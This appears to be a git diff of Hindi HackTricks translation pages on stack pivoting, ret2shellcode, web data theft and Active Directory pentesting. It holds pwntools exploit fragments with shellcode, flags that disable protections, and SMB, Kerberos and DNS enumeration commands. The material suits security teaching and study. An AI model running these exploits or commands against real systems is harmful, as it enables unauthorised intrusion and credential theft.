याद रखें कि नियंत्रित मेमोरी के इन पते से पहले, **`4` बाइट्स** होनी चाहिए क्योंकि **`pop`** भाग `leave` निर्देश का है। इन 4B का दुरुपयोग करना संभव होगा एक **दूसरा फर्जी EBP** सेट करने के लिए और निष्पादन को नियंत्रित करना जारी रखने के लिए।
|
||||
याद रखें कि नियंत्रित मेमोरी के भाग में इन पते से पहले **`4` बाइट्स** होनी चाहिए क्योंकि **`pop`** भाग `leave` निर्देश का है। इन 4B का दुरुपयोग करके एक **दूसरा फर्जी EBP** सेट करना और निष्पादन को नियंत्रित करना संभव होगा।
|
||||
|
||||
#### ऑफ-बाय-वन एक्सप्लॉइट
|
||||
#### Off-By-One Exploit
|
||||
|
||||
इस तकनीक का एक विशिष्ट रूप "ऑफ-बाय-वन एक्सप्लॉइट" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप **केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, उसे EBP के साथ पहले तीन बाइट्स साझा करने चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।
|
||||
इस तकनीक का एक विशिष्ट रूप "Off-By-One Exploit" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप **केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, EBP के साथ पहले तीन बाइट्स को साझा करना चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।
|
||||
|
||||
### **EBP चेनिंग**
|
||||
### **EBP Chaining**
|
||||
|
||||
इसलिए, स्टैक के `EBP` प्रविष्टि में एक नियंत्रित पता डालकर और `EIP` में `leave; ret` का पता डालकर, यह संभव है कि **स्टैक से नियंत्रित `EBP` पते पर `ESP` को स्थानांतरित किया जाए**।
|
||||
|
||||
अब, **`ESP`** नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और निष्पादित करने के लिए अगला निर्देश `RET` है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह डालना संभव है:
|
||||
अब, **`ESP`** नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और अगली निष्पादित करने वाली निर्देश `RET` है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह डालना संभव है:
|
||||
|
||||
- **`&(next fake EBP)`** -> `leave` निर्देश से `pop ebp` के कारण नया EBP लोड करें
|
||||
- **`system()`** -> `ret` द्वारा कॉल किया गया
|
||||
- **`&(leave;ret)`** -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को फर्जी EBP पर ले जाएगा और फिर से शुरू करेगा
|
||||
- **`&("/bin/sh")`**-> `system` के लिए पैरामीटर
|
||||
|
||||
बुनियादी रूप से इस तरह से कई फर्जी EBPs को चेन करना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
|
||||
बुनियादी रूप से इस तरह से कई फर्जी EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
|
||||
|
||||
यह एक [ret2lib](ret2lib/) की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।
|
||||
यह एक [ret2lib](ret2lib/index.html) की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।
|
||||
|
||||
इसके अलावा, यहां आपके पास एक [**चुनौती का उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) है जो इस तकनीक का उपयोग करता है एक **स्टैक लीक** के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
|
||||
इसके अलावा, यहाँ आपके पास एक [**चुनौती का उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) है जो इस तकनीक का उपयोग करता है एक **स्टैक लीक** के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -116,7 +116,7 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
ret # return
|
||||
```
|
||||
## RSP को नियंत्रित करने के अन्य तरीके
|
||||
## अन्य तरीके RSP को नियंत्रित करने के लिए
|
||||
|
||||
### **`pop rsp`** गैजेट
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
चलो एक कमजोर C प्रोग्राम के सरल उदाहरण से शुरू करते हैं:
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -34,12 +34,12 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: स्टैक सुरक्षा को अक्षम करता है।
|
||||
- `-z execstack`: स्टैक को निष्पादन योग्य बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड किस मेमोरी पते पर होगा।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड कहाँ स्थित होगा।
|
||||
- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर शोषण विकास में सरलता के लिए उपयोग किया जाता है।
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
यहां बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले को करने के लिए Python में एक शोषण कैसे लिख सकते हैं:
|
||||
यहाँ बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले को करने के लिए Python में एक शोषण कैसे लिख सकते हैं:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** शामिल होता है, और फिर **EIP** को NOP स्लाइड की ओर इशारा करने वाले पते से ओवरराइट करती है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए।
|
||||
यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** और फिर **EIP** को NOP स्लाइड की ओर इंगित करने वाले पते के साथ ओवरराइट किया जाता है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए।
|
||||
|
||||
**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। `p32()` तर्क को अपने बफर के प्रारंभिक पते के साथ एक ऑफसेट जोड़कर NOP स्लाइड में लैंड करने के लिए समायोजित करें।
|
||||
**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। `p32()` तर्क को अपने बफर के प्रारंभिक पते के साथ एक ऑफसेट जोड़कर NOP स्लाइड में पहुंचने के लिए समायोजित करें।
|
||||
|
||||
## सुरक्षा
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है।
|
||||
- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है।
|
||||
- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के स्टैक के अंदर निष्पादन को रोक देगी क्योंकि वह क्षेत्र निष्पादन योग्य नहीं होगा।
|
||||
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
@ -1,13 +1,13 @@
|
||||
# संवेदनशील जानकारी का खुलासा चोरी करना एक वेब से
|
||||
# Stealing Sensitive Information Disclosure from a Web
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
यदि किसी बिंदु पर आप एक **वेब पृष्ठ पाते हैं जो आपके सत्र के आधार पर आपको संवेदनशील जानकारी प्रस्तुत करता है**: शायद यह कुकीज़ को दर्शा रहा है, या प्रिंटिंग या CC विवरण या कोई अन्य संवेदनशील जानकारी, तो आप इसे चुराने की कोशिश कर सकते हैं।\
|
||||
यदि किसी बिंदु पर आप एक **वेब पृष्ठ पाते हैं जो आपकी सत्र के आधार पर आपको संवेदनशील जानकारी प्रस्तुत करता है**: शायद यह कुकीज़ को दर्शा रहा है, या प्रिंटिंग या CC विवरण या कोई अन्य संवेदनशील जानकारी, आप इसे चुराने की कोशिश कर सकते हैं।\
|
||||
यहां मैं आपको इसे प्राप्त करने के मुख्य तरीकों को प्रस्तुत करता हूं:
|
||||
|
||||
- [**CORS बायपास**](pentesting-web/cors-bypass.md): यदि आप CORS हेडर को बायपास कर सकते हैं तो आप एक दुर्भावनापूर्ण पृष्ठ के लिए Ajax अनुरोध करते हुए जानकारी चुराने में सक्षम होंगे।
|
||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/): यदि आप पृष्ठ पर XSS भेद्यता पाते हैं तो आप इसे जानकारी चुराने के लिए दुरुपयोग करने में सक्षम हो सकते हैं।
|
||||
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): यदि आप XSS टैग इंजेक्ट नहीं कर सकते हैं तो भी आप अन्य सामान्य HTML टैग का उपयोग करके जानकारी चुराने में सक्षम हो सकते हैं।
|
||||
- [**CORS bypass**](pentesting-web/cors-bypass.md): यदि आप CORS हेडर को बायपास कर सकते हैं तो आप एक दुर्भावनापूर्ण पृष्ठ के लिए Ajax अनुरोध करते हुए जानकारी चुराने में सक्षम होंगे।
|
||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): यदि आप पृष्ठ पर XSS भेद्यता पाते हैं तो आप इसे जानकारी चुराने के लिए दुरुपयोग करने में सक्षम हो सकते हैं।
|
||||
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): यदि आप XSS टैग इंजेक्ट नहीं कर सकते हैं तो भी आप अन्य सामान्य HTML टैग का उपयोग करके जानकारी चुराने में सक्षम हो सकते हैं।
|
||||
- [**Clickjaking**](pentesting-web/clickjacking.md): यदि इस हमले के खिलाफ कोई सुरक्षा नहीं है, तो आप उपयोगकर्ता को संवेदनशील डेटा भेजने के लिए धोखा देने में सक्षम हो सकते हैं (एक उदाहरण [यहां](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))।
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# संवेदनशील जानकारी का खुलासा चोरी करना एक वेब से
|
||||
# Stealing Sensitive Information Disclosure from a Web
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
यदि किसी बिंदु पर आप एक **वेब पृष्ठ पाते हैं जो आपके सत्र के आधार पर आपको संवेदनशील जानकारी प्रस्तुत करता है**: शायद यह कुकीज़ को दर्शा रहा है, या प्रिंटिंग या CC विवरण या कोई अन्य संवेदनशील जानकारी, तो आप इसे चुराने की कोशिश कर सकते हैं।\
|
||||
यहां मैं आपको इसे प्राप्त करने के मुख्य तरीकों को प्रस्तुत करता हूं:
|
||||
यदि किसी बिंदु पर आप एक **वेब पृष्ठ पाते हैं जो आपके सत्र के आधार पर आपको संवेदनशील जानकारी प्रस्तुत करता है**: शायद यह कुकीज़ को दर्शा रहा है, या प्रिंटिंग या CC विवरण या कोई अन्य संवेदनशील जानकारी, आप इसे चुराने की कोशिश कर सकते हैं।\
|
||||
यहां मैं आपको मुख्य तरीकों को प्रस्तुत करता हूं जिनसे आप इसे प्राप्त करने की कोशिश कर सकते हैं:
|
||||
|
||||
- [**CORS बायपास**](../pentesting-web/cors-bypass.md): यदि आप CORS हेडर को बायपास कर सकते हैं तो आप एक दुर्भावनापूर्ण पृष्ठ के लिए Ajax अनुरोध करते हुए जानकारी चुराने में सक्षम होंगे।
|
||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): यदि आप पृष्ठ पर XSS भेद्यता पाते हैं तो आप इसे जानकारी चुराने के लिए दुरुपयोग कर सकते हैं।
|
||||
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): यदि आप XSS टैग इंजेक्ट नहीं कर सकते हैं तो भी आप अन्य सामान्य HTML टैग का उपयोग करके जानकारी चुराने में सक्षम हो सकते हैं।
|
||||
- [**CORS bypass**](../pentesting-web/cors-bypass.md): यदि आप CORS हेडर को बायपास कर सकते हैं तो आप एक दुर्भावनापूर्ण पृष्ठ के लिए Ajax अनुरोध करते हुए जानकारी चुराने में सक्षम होंगे।
|
||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): यदि आप पृष्ठ पर XSS भेद्यता पाते हैं तो आप इसे जानकारी चुराने के लिए दुरुपयोग करने में सक्षम हो सकते हैं।
|
||||
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): यदि आप XSS टैग इंजेक्ट नहीं कर सकते हैं तो भी आप अन्य सामान्य HTML टैग का उपयोग करके जानकारी चुराने में सक्षम हो सकते हैं।
|
||||
- [**Clickjaking**](../pentesting-web/clickjacking.md): यदि इस हमले के खिलाफ कोई सुरक्षा नहीं है, तो आप उपयोगकर्ता को संवेदनशील डेटा भेजने के लिए धोखा देने में सक्षम हो सकते हैं (एक उदाहरण [यहां](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,33 +4,33 @@
|
||||
|
||||
## Basic overview
|
||||
|
||||
**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **वस्तुओं** को एक नेटवर्क के भीतर कुशलता से बनाने और प्रबंधित करने की अनुमति देता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने की सुविधा प्रदान करता है, जबकि विभिन्न स्तरों पर **पहुँच अधिकारों** को नियंत्रित करता है।
|
||||
**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **वस्तुओं** को प्रभावी ढंग से बनाने और प्रबंधित करने की अनुमति देता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने में मदद करता है, जबकि विभिन्न स्तरों पर **पहुँच अधिकारों** को नियंत्रित करता है।
|
||||
|
||||
**Active Directory** की संरचना तीन प्राथमिक परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** वस्तुओं का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **पहुँच** और **संचार अधिकार** निर्धारित किए जा सकते हैं।
|
||||
**Active Directory** की संरचना तीन प्रमुख परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** वस्तुओं का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **पहुँच** और **संचार अधिकार** निर्धारित किए जा सकते हैं।
|
||||
|
||||
**Active Directory** के भीतर प्रमुख अवधारणाएँ शामिल हैं:
|
||||
|
||||
1. **Directory** – Active Directory वस्तुओं से संबंधित सभी जानकारी को रखता है।
|
||||
2. **Object** – निर्देशिका के भीतर की संस्थाएँ, जिसमें **उपयोगकर्ता**, **समूह**, या **साझा फ़ोल्डर** शामिल हैं।
|
||||
2. **Object** – निर्देशिका के भीतर की संस्थाएँ, जैसे **उपयोगकर्ता**, **समूह**, या **साझा फ़ोल्डर** को दर्शाता है।
|
||||
3. **Domain** – निर्देशिका वस्तुओं के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में रह सकते हैं, प्रत्येक अपनी स्वयं की वस्तु संग्रह बनाए रखता है।
|
||||
4. **Tree** – डोमेन का एक समूह जो एक सामान्य रूट डोमेन साझा करता है।
|
||||
5. **Forest** – Active Directory में संगठनात्मक संरचना का शिखर, जिसमें कई पेड़ होते हैं जिनमें **विश्वास संबंध** होते हैं।
|
||||
|
||||
**Active Directory Domain Services (AD DS)** एक श्रृंखला की सेवाओं को शामिल करता है जो नेटवर्क के भीतर केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। इन सेवाओं में शामिल हैं:
|
||||
|
||||
1. **Domain Services** – डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन का प्रबंधन करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
|
||||
1. **Domain Services** – डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
|
||||
2. **Certificate Services** – सुरक्षित **डिजिटल प्रमाणपत्रों** के निर्माण, वितरण, और प्रबंधन की देखरेख करता है।
|
||||
3. **Lightweight Directory Services** – **LDAP प्रोटोकॉल** के माध्यम से निर्देशिका-सक्षम अनुप्रयोगों का समर्थन करता है।
|
||||
4. **Directory Federation Services** – एकल सत्र में कई वेब अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने के लिए **सिंगल-साइन-ऑन** क्षमताएँ प्रदान करता है।
|
||||
5. **Rights Management** – बिना अनुमति के वितरण और उपयोग को नियंत्रित करके कॉपीराइट सामग्री की सुरक्षा में सहायता करता है।
|
||||
5. **Rights Management** – बिना अनुमति के वितरण और उपयोग को नियंत्रित करके कॉपीराइट सामग्री की सुरक्षा में मदद करता है।
|
||||
6. **DNS Service** – **डोमेन नामों** के समाधान के लिए महत्वपूर्ण है।
|
||||
|
||||
अधिक विस्तृत स्पष्टीकरण के लिए देखें: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
एक अधिक विस्तृत व्याख्या के लिए देखें: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos Authentication**
|
||||
|
||||
AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को वास्तव में अच्छी तरह से **समझना** होगा।\
|
||||
[**यदि आप अभी भी नहीं जानते कि यह कैसे काम करता है तो इस पृष्ठ को पढ़ें।**](kerberos-authentication.md)
|
||||
AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को बहुत अच्छे से **समझना** होगा।\
|
||||
[**यदि आप अभी भी नहीं जानते कि यह कैसे काम करता है, तो इस पृष्ठ को पढ़ें।**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
|
||||
@ -41,15 +41,15 @@ AD पर **हमला करने** के लिए आपको **Kerberos
|
||||
यदि आपके पास केवल AD वातावरण तक पहुँच है लेकिन आपके पास कोई क्रेडेंशियल/सत्र नहीं हैं, तो आप कर सकते हैं:
|
||||
|
||||
- **नेटवर्क का परीक्षण करें:**
|
||||
- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स** निकालने का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
|
||||
- DNS को सूचीबद्ध करना डोमेन में प्रमुख सर्वरों के बारे में जानकारी दे सकता है जैसे कि वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि।
|
||||
- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स निकालने** का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
|
||||
- DNS को सूचीबद्ध करने से डोमेन में प्रमुख सर्वरों के बारे में जानकारी मिल सकती है जैसे कि वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि।
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- इस पर अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) पर एक नज़र डालें।
|
||||
- **smb सेवाओं पर शून्य और गेस्ट पहुँच की जाँच करें** (यह आधुनिक Windows संस्करणों पर काम नहीं करेगा):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- SMB सर्वर को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है:
|
||||
- एक SMB सर्वर को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
@ -76,8 +76,8 @@ AD पर **हमला करने** के लिए आपको **Kerberos
|
||||
|
||||
### User enumeration
|
||||
|
||||
- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाँच करें।
|
||||
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** या तो **AS-REP** प्रतिक्रिया में **TGT** को उत्तेजित करेंगे या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है।
|
||||
- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाँच करें।
|
||||
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** एक AS-REP प्रतिक्रिया में **TGT** या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को उत्तेजित करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है।
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -105,15 +105,15 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
> [!WARNING]
|
||||
> आप [**इस github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* और इस ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) में उपयोगकर्ता नामों की सूचियाँ पा सकते हैं।
|
||||
>
|
||||
> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले की पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ, आप संभावित मान्य उपयोगकर्ता नाम उत्पन्न करने के लिए [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग कर सकते हैं।
|
||||
> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले की पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ आप [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग करके संभावित मान्य उपयोगकर्ता नाम उत्पन्न कर सकते हैं।
|
||||
|
||||
### एक या एक से अधिक उपयोगकर्ता नाम जानना
|
||||
|
||||
ठीक है, तो आप जानते हैं कि आपके पास पहले से ही एक मान्य उपयोगकर्ता नाम है लेकिन कोई पासवर्ड नहीं है... फिर कोशिश करें:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है**, तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का अनुरोध कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
|
||||
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है** तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का अनुरोध कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
|
||||
- [**Password Spraying**](password-spraying.md): चलो प्रत्येक खोजे गए उपयोगकर्ताओं के साथ सबसे **सामान्य पासवर्ड** आजमाते हैं, शायद कुछ उपयोगकर्ता एक खराब पासवर्ड का उपयोग कर रहा है (पासवर्ड नीति को ध्यान में रखें!)।
|
||||
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे कर सकते हैं** ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त कर सकें।
|
||||
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे** कर सकते हैं ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त करने की कोशिश की जा सके।
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -129,17 +129,17 @@ password-spraying.md
|
||||
|
||||
### NTML रिले
|
||||
|
||||
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं, तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें।
|
||||
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें।
|
||||
|
||||
### NTLM क्रेडेंशियल चुराना
|
||||
|
||||
